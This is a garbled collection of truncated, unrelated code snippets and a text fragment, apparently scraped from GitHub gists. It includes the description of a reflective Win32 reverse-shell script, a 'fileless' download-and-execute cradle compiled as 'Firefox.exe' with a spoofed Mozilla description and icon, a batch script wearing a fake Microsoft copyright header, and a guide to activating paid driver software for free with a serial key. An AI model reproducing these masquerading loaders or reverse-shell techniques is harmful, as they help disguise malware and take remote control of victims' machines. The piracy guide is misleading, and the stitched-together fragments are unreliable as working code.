| <# | |
| .SYNOPSIS | |
| Read outLook Exchange Emails | |
| Author: @r00t-3xp10it | |
| Tested Under: Windows 10 (19043) x64 bits | |
| Required Dependencies: Outlook ComObject {native} | |
| Optional Dependencies: none | |
| PS cmdlet Dev version: v2.2.9 |
| @ GOTO STARTSCRIPT | |
| @ :: | |
| @ :: Microsoft Windows(R) Command Script | |
| @ :: Copyright (c) 1990-2020 Microsoft Corp. All rights reserved. | |
| @ :: | |
| @ :: | |
| @ :: DETAILS | |
| @ :: |
| <# | |
| DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls. | |
| The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess. | |
| Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions | |
| from ws2_32.dll. | |
| This script should be used for educational purposes only (and maybe while playing CTF :D). | |
| It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only | |
| purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as |
| function Get-UglyButShortUniqueDirname { | |
| [CmdletBinding()] | |
| param ( | |
| ) | |
| $t = "$([System.Guid]::NewGuid())".Replace("-", "") | |
| Write-Verbose "base guid: $t" | |
| $t = "$(0..$t.Length | % { if (($_ -lt $t.Length) -and !($_%2)) { [char][byte]"0x$($t[$_])$($t[$_+1])" } })".replace(" ", "").Trim() |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text.RegularExpressions; | |
| namespace GetDisplayInformation | |
| { | |
| class Program | |
| { | |
| [DllImport("user32.dll", CharSet = CharSet.Auto)] |
| how to get user logon logs | |
| Get-EventLog -LogName security -InstanceId 4625 -After ((Get-Date).AddDays(-100)) | Select-Object -Property timegenerated, @{n="AccountName";e = {$.replacementstrings[5]}}, @{n="AccountDomain";e = {$.replacementstrings[6]}}, @{n="WorkstationName" ; e = {$_.replacementstrings[19]}} | export-csv c:\users\public\logs.csv |
| /* | |
| Author: @r00t-3xp10it | |
| redpill v1.2.6 - CsOnTheFly Internal Module! | |
| Title: StandAlone executable fileless cmdlet's download crandle. | |
| Description: Program.cs (to be compiled to standalone executable) that allow users to fileless download\execute URL cmdlet's | |
| Dependencies: iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/CsOnTheFly.ps1" -OutFile "CsOnTheFly.ps1" | |
| Compile: .\CsOnTheFly.ps1 -action "compile" -uri "CScrandle_fileless.cs" -outfile "Firefox.exe" -filedescription "@Mozilla FireFox" -iconset "true" | |
| */ |
| $defaultOutputEncoding = $OutputEncoding | |
| $defaultConsoleInputEncoding = [Console]::InputEncoding | |
| $defaultConsoleOutputEncoding = [Console]::OutputEncoding | |
| $OutputEncoding = [Console]::InputEncoding = [Console]::OutputEncoding = New-Object System.Text.UTF8Encoding | |
| try { | |
| .\XDInitialSeedSorter.exe | Tee-Object log.txt | |
| } finally { | |
| $OutputEncoding = $defaultOutputEncoding |
An guide how to get and activate IObit Driver Booster Pro for free with the official version.
To begin, open Driver Booster Then, click on "scan" button. After that, click on the key in the right bottom. Now enter the serial key for your version from here in the box, then click "activate".
You successfully got and activated IObit's Driver Booster 9 Pro for FREE without any virus software or cracks. Comment on this gist for questions.
| $DllImport = '[DllImport("netapi32.dll", CharSet = CharSet.Unicode)] public static extern int NetUserChangePassword(string d, string u, string oldpass, string newpass);' | |
| $NetApi32 = Add-Type -MemberDefinition $DllImport -Name 'NetApi32' -Namespace 'Win32' -PassThru | |
| Write-Host -NoNewLine "Full domain name (for example, example.com): " | |
| $Domain = Read-Host | |
| $Context = [System.DirectoryServices.ActiveDirectory.DirectoryContext]::new([System.DirectoryServices.ActiveDirectory.DirectoryContextType]::Domain, $Domain) | |
| $DomainController = ([System.DirectoryServices.ActiveDirectory.DomainController]::FindOne($Context)).Name | |
| Write-Host -NoNewLine "Old password: " | |
| $OldPass = Read-Host |
